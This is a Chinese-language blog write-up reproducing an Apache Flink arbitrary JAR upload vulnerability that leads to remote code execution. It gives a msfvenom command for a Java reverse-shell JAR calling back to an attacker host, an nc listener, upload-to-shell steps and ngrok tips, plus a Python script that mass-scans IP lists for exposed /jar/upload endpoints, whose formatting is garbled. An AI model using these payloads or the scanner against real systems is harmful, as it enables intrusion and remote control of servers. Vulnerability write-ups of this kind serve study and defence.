Apache Flink任意Jar包上传导致远程代码执行

2020-05-17 12:52:52 admin 77

本文作者 : 重生信安 - 清水Samny

前言

记一次Apache Flink任意Jar包上传导致远程代码执行复现漏洞过程。
作者一直致力于小白都能看懂的漏洞复现过程,感谢大家们一路以来的支持!

致谢Cx01、丞相等表哥们。没有你们的帮助,没有这篇文章!

0x01 漏洞描述

近日,有安全研究员公开了一个Apache Flink的任意Jar包上传导致远程代码执行的漏洞.
影响范围:<= 1.9.1(最新版本)
可能是我测的比较少,成功的概率1.9版本比较高。
45382-rn1qe3wgmhb.png

0x02 漏洞威胁等级

高危

可导致远程代码执行

0x03 漏洞复现

第一步生成payload

msfvenom -p java/shell_reverse_tcp LHOST=x.x.x.x LPORT=x -f jar >fuck.jar


名字可以任意取
72735-jan3z231w7g.png

第二步生成监听端口,这里我选择nc监听端口。

nc -lvp port


60561-npata6mhv9.png

第三步上传payload
21047-lutor93tw3.png

最后直接返回shell
50474-ljppj2bcfgo.png

接着执行命令
71125-vi1ek5k3w.png

0x04 复现那些坑

一定要生成公网ip的payload!!!
一定要生成公网ip的payload!!!
一定要生成公网ip的payload!!!

没有钱的小哥哥,小姐姐们可以选择一个Sunny-ngrok 工具进行端口转发。
官方Sunny-ngrok教程
25768-ja4vyy5dqi.png

客户端工具下载地址

65537-ygd24c1vohk.png

0x05 批量检测脚本

GitHub地址

脚本源码

    """
    auth: @l3_W0ng
    version: 1.0
    function: Apache Web Dashboard RCE
    usage: python3 script.py ip [port [command]]
                   default port=8081

    """import osimport subprocessimport requestsfrom multiprocessing.dummy import Pool as ThreadPooldef get_iplist():
        iplist = []    with open("iplist.txt", 'r') as file:
            data = file.readlines()        for item in data:
                ip = item.strip()
                iplist.append(ip)    return iplistdef check_8081(ip):
        url = 'http://' + ip + ':8081/jar/upload'

        try:
            res = requests.get(url=url, timeout=2)
            data = {            'msg': res.json(),            'state': 1,            'url': url,            'ip': ip
            }    except:
            data = {            'msg': 'Secure',            'state': 0,            'ip': ip
            }    if data['state'] == 1:
            print(data)

    if __name__ == '__main__':
        iplist = get_iplist()

        pool = ThreadPool(20)
        pool.map(check_8081, iplist)

52363-pqior5khwuo.png

Ps:
当注释掉 if ‘Unable to load requested file’ in str(data):
之后,出现Token为空,或者 Unauthorized request 时候是不存在未授权访问的,而是带授权

部分exp代码
16394-60ljp0618zv.png

0x06 参考文献

https://www.t00ls.net/thread-53784-1-1.html
https://mp.weixin.qq.com/s/ArYCF4jjhy6nkY4ypib-Ag
https://flink.apache.org/downloads.html

0x07 免责声明

0x05批量脚本是来自于https://www.t00ls.net/thread-53784-1-1.html,如果有侵犯权益,留言删除。大佬见谅!

本文中提到的漏洞利用Poc和脚本仅供研究学习使用,请遵守《网络安全法》等相关法律法规。


电话咨询
在线留言
QQ客服